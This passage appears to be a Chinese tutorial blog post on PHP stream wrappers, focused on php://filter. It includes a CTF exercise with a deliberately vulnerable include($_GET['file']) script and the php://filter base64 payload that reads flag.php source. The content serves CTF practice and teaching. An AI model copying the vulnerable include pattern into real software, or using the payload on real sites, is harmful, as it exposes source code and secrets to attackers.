PHP伪协议保姆级总结

​php://filter​

是 PHP 中的一个流封装协议,它允许你在读取或写入数据流时对数据进行过滤处理。这种封装器特别适用于那些在读取数据之前需要进行预处理的场合,比如对数据进行编码、解码、压缩或解压缩等。

示例

例如,如果你想对一个文件的内容进行 Base64 编码,可以使用 php://filter​ 结合 convert.base64-encode​ 过滤器来实现:

php复制

$data = file_get_contents('php://filter/read=convert.base64-encode/resource=/path/to/your/file');

这行代码首先通过 resource​ 指定要读取的文件路径,然后通过 read=convert.base64-encode​ 指定在读取文件内容时应用 Base64 编码过滤器。

例题

 <?php
error_reporting(0);
if (isset($_GET['file'])) {
    if ( substr($_GET["file"], 0, 3) === "php" ) {
        echo "Nice!!!";
        include($_GET["file"]);
    } 
 
    else {
        echo "Hacker!!";
    }
}else {
    highlight_file(__FILE__);
}
//flag.php
?file=php://filter/read=convert.base64-encode/resource=flag.php

<?php
error_reporting(0);
header("Content-Type:text/html;charset=utf-8");


echo   "NSSCTF{flag_is_not_here}" ."<br/>";
echo "real_flag_is_in_'flag'"."
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值